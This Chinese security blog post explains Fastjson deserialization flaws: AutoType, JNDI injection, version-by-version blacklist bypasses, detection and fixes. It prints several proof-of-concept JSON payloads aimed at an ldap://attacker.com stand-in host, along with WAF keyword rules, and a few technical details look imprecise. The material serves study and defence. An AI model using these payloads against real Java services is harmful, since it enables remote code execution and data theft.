fastjson漏洞小结

2025-02-14 28 0

Fastjson是阿里巴巴开源的高性能JSON处理库,在Java生态中被广泛使用。其多次曝出的反序列化漏洞(尤其是AutoType特性相关漏洞)曾引发重大安全风险,以下是一些简单介绍:

核心漏洞原理

1、AutoType机制缺陷

Fastjson在反序列化时通过@type字段动态加载任意类,攻击者可构造恶意JSON数据指定危险类(如com.sun.rowset.JdbcRowSetImpl),结合JNDI注入实现RCE。

2、黑名单绕过史

初始漏洞(CVE-2017-18349)后,官方采用黑名单过滤危险类

后续多个版本(如1.2.47/1.2.62/1.2.80)被发现存在黑名单绕过手法:

使用L开头的类名描述符(如Lcom.sun.rowset.JdbcRowSetImpl;)

利用非公开内部类(如org.apache.ibatis.datasource.jndi.JndiDataSourceFactory)

二次反序列化攻击链(通过Throwable子类触发)

影响范围

高危版本:
1.2.24及之前版本(无防护)
1.2.25至1.2.80(存在黑名单绕过风险)

攻击后果:
远程代码执行 → 服务器沦陷 → 数据泄露/挖矿木马/横向移动

检测与验证

1、版本检测

bash

# Maven项目检查依赖 
mvn dependency:tree | grep fastjson

2、漏洞验证POC

json

json
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true }
措施 技术细节 兼容影响
升级到安全版本 1.2.83+(启用safemode)或2.x版本 需测试JSON序列化/反序列化逻辑
关闭AutoType 启动参数加-Dfastjson.parser.autoTypeAccept= 需重构依赖@type的代码
白名单控制 使用ParserConfig.getGlobalInstance().addAccept("可信类名") 维护成本较高

防御体系

WAF规则
拦截包含@type、JdbcRowSetImpl等关键字的JSON请求(需注意误报率)

RASP防护
在JVM层拦截危险类加载行为(如龙蜥引擎的com.alibaba.fastjson.util.JavaBeanInfo监控)

供应链安全
SCA工具(如DependencyCheck)扫描组件版本,阻断高风险依赖

典型攻击案例

2020年某电商数据泄露事件
攻击者通过Fastjson漏洞植入Webshell,窃取百万级用户订单数据

Mirai变种僵尸网络
利用未修复的Fastjson服务器组建DDoS攻击网络

Fastjson 漏洞的核心爆发原理源于其 反序列化机制的设计缺陷,尤其是 AutoType 动态类加载特性与 JNDI 注入的结合利用。以下是技术原理的分层拆解:

1. 反序列化机制失控

Fastjson 在解析 JSON 数据时,允许通过 @type 字段指定目标类(AutoType 特性)。例如:

json

{
  "@type": "com.example.User",
  "name": "test",
  "age: 30
}

致命缺陷:
当攻击者构造的 @type 字段指向 高危类(如 com.sun.rowset.JdbcRowSetImpl),Fastjson 会无条件实例化该类,触发其 Setter/Getter 方法的自动调用。

2. JNDI 注入触发 RCE

json

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker.com/Exploit",
  "autoCommit": true
}

攻击流程:

  1. 目标类加载
    Fastjson 实例化 JdbcRowSetImpl 类(Oracle JDK 内置类)
  2. Setter 方法触发
    调用 setDataSourceName("ldap://attacker.com/Exploit") 设置 JNDI 数据源
  3. JNDI 上下文连接
    调用 setAutoCommit(true) → 触发 connect() 方法 → 向恶意 LDAP 服务器发起请求
  4. 远程代码加载
    LDAP 服务器返回指向 http://attacker.com/Exploit.class 的 Reference 对象 → JVM 加载并执行远程恶意类

3. AutoType 黑名单绕过

Fastjson 的修复策略长期依赖 黑名单过滤,但攻击者通过以下手法绕过:

手法一:类描述符变形

json

{
  "@type": "Lcom.sun.rowset.JdbcRowSetImpl;"
}

利用 Java 类描述符语法(LClassName;)绕过字符串匹配

手法二:二次反序列化

java

public class EvilClass extends Throwable {
  private Object obj;
  // 反序列化时 obj 会被再次解析
}

通过异常类的嵌套反序列化触发二次攻击链

手法三:非公开内部类

json

{
  "@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"
}

利用框架内部类(未在黑名单中)构造新攻击链

4. JVM 特性助攻

  • LDAP 协议自动加载:Java 默认支持通过 JNDI 加载 LDAP 远程对象
  • 低版本 JDK 无限制:JDK 6u132/7u122/8u113 之前的版本未限制 java.rmi.server.useCodebaseOnly 属性
  • ClassLoader 双亲委派突破:攻击类可被任意 ClassLoader 加载

漏洞爆发条件

条件 说明
Fastjson ≤1.2.80 存在黑名单绕过可能
JDK 版本 < 8u191 允许通过 JNDI 加载远程代码
目标服务对外暴露 JSON 接口 可传入自定义 JSON 数据
网络可达攻击者服务器 能发起 LDAP/RMI 请求

技术原理总结

plaintext

Fastjson AutoType
  → 动态加载任意类
    → 调用危险方法(如setDataSourceName)
      → 触发JNDI/LDAP请求
        → 加载远程恶意类
          → RCE(远程代码执行)

防御启示

  1. 根本方案:升级到 Fastjson 2.x + 启用 safemode
  2. 环境加固:JDK ≥8u191 + 设置 com.sun.jndi.ldap.object.trustURLCodebase=false
  3. 流量监控:拦截包含 @type、JdbcRowSetImpl 等关键字的请求

该漏洞的爆发揭示了 "过度灵活的反序列化机制" + "JVM历史特性" 组合产生的毁灭性效果,成为 JSON 反序列化漏洞的经典研究案例。

Fastjson 在修复早期漏洞时长期依赖黑名单过滤机制,但攻击者通过不断发现新的类加载路径和语法变形手段绕过防御。以下是各版本黑名单绕过手法的技术细节拆解:

1. 1.2.47 版本绕过(CVE-2017-18349后续绕过)

攻击手法:类描述符语法变形

漏洞触发代码:

json

{
  "@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
  "dataSourceName": "ldap://attacker.com/exp",
  "autoCommit": true
}

绕过原理:

  • Java 类描述符标准格式为 LClassName;,Fastjson 黑名单仅检查完整类名(如com.sun.rowset.JdbcRowSetImpl)
  • 攻击者使用 Lcom.sun.rowset.JdbcRowSetImpl; 格式绕过黑名单匹配

防御修复:

  • 在 1.2.48 版本中,增加对 L 和 ; 符号的过滤,并更新黑名单

2. 1.2.62 版本绕过(2020年披露)

攻击手法:二次反序列化 + Throwable 子类

漏洞触发代码:

json

{
  "@type": "java.lang.Exception",
  "@type": "org.apache.xbean.propertyeditor.JndiConverter",
  "AsText": "ldap://attacker.com/exp"
}

绕过原理:

  1. 第一个 @type 指定 Exception 类(白名单允许)
  2. Fastjson 处理异常类时,允许嵌套定义第二个 @type
  3. 通过 JndiConverter 类(非黑名单类)触发 JNDI 注入

技术链分析:

Exception 反序列化
  → 解析内部属性时二次触发 AutoType
    → 加载 org.apache.xbean.propertyeditor.JndiConverter
      → setAsText() 调用 JndiLookup

防御修复:

  • 在 1.2.67 版本中,禁止异常类嵌套使用 AutoType
  • 将 org.apache.xbean 相关类加入黑名单

3. 1.2.80 版本绕过(2022年披露)

攻击手法:AutoCloseable 接口 + ClassLoader 混淆

漏洞触发代码:

json

{
  "@type": "java.lang.AutoCloseable",
  "@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
  "properties": {
    "@type": "java.util.Properties",
    "UserTransaction": "ldap://attacker.com/exp"
  }
}

绕过原理:

  1. 外层使用 AutoCloseable 接口(白名单允许)
  2. 内层指定 JtaTransactionConfig 类(非黑名单)
  3. 通过 setUserTransaction() 方法触发 JNDI 查找

依赖组件:

  • 需要目标环境包含 ibatis-sqlmap 依赖(常见于老旧Java系统)

防御修复:

  • 在 1.2.83 版本中引入 SafeMode 机制(需手动开启)
  • 彻底禁止 AutoType 功能,不再依赖黑名单

通用绕过手法总结

手法类型 技术实现 影响版本
语法变形 LClassName; 格式绕过字符串匹配 ≤1.2.47
二次反序列化 利用异常类/集合类触发嵌套解析 ≤1.2.62
非公开类利用 攻击链转移到第三方库内部类 ≤1.2.80
接口伪装 通过接口/抽象类声明绕过类型检查 ≤1.2.80

防御方案演进

  1. 黑名单阶段(1.2.25~1.2.68)
  • 不断扩充黑名单(最终包含 200+ 类)
  • 缺陷:永远存在漏报可能

2.白名单阶段(1.2.68~1.2.82)

  • 默认关闭 AutoType,需手动添加白名单
  • 缺陷:旧系统升级成本高

3.SafeMode 阶段(1.2.83+)

  • 启动参数加 -Dfastjson.parser.safeMode=true
  • 彻底关闭 AutoType,仅允许基础类型解析

检测方案

1.静态检测

bash

# 使用 OWASP DependencyCheck 扫描组件版本
dependency-check.sh --project MyApp --scan ./lib
  • 规则:标记所有 fastjson ≤1.2.83 的依赖

2.动态检测

  • BurpSuite 插件:FastjsonScan(检测 @type 特征)
  • RASP 拦截:监控 JavaBeanInfo 类的危险调用栈

3.流量特征

  • 请求 Body 中包含 @type 和 JdbcRowSetImpl 等关键词
  • Content-Type 为 application/json 但参数结构异常

历史漏洞时间线

2017-12  CVE-2017-18349  首个AutoType漏洞
2019-06  1.2.47绕过       L; 语法绕过
2020-03  1.2.62绕过       二次反序列化
2022-05  1.2.80绕过       接口伪装攻击
2022-11  1.2.83发布      SafeMode终极防御

修复建议

1.强制升级

  • 使用 Fastjson 2.x 版本(包名改为 com.alibaba.fastjson2)
  • 启用默认 SafeMode:JSON.parseObject(payload, Object.class, Feature.SafeMode)

2.JDK 加固

  • 升级至 JDK 8u191+ / 11.0.1+(禁用远程类加载)
  • 添加 JVM 参数:

3.WAF 规则示例

# 拦截含@type的JSON请求
if ($request_body ~ "@type") {
  deny all;
}

4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

甲方安全何时需要自研安全产品?安全平台工程团队的价值与落地策略
Burpsuite基础使用教程
Kali linux hping3基础使用方法
DouCo DouPHP 安全漏洞(CVE-2024-57599)
9万个WordPress站点面临本地文件包含漏洞攻击
从中国视角看 NSA(方程式组织)的 TTP(攻击套路)

发布评论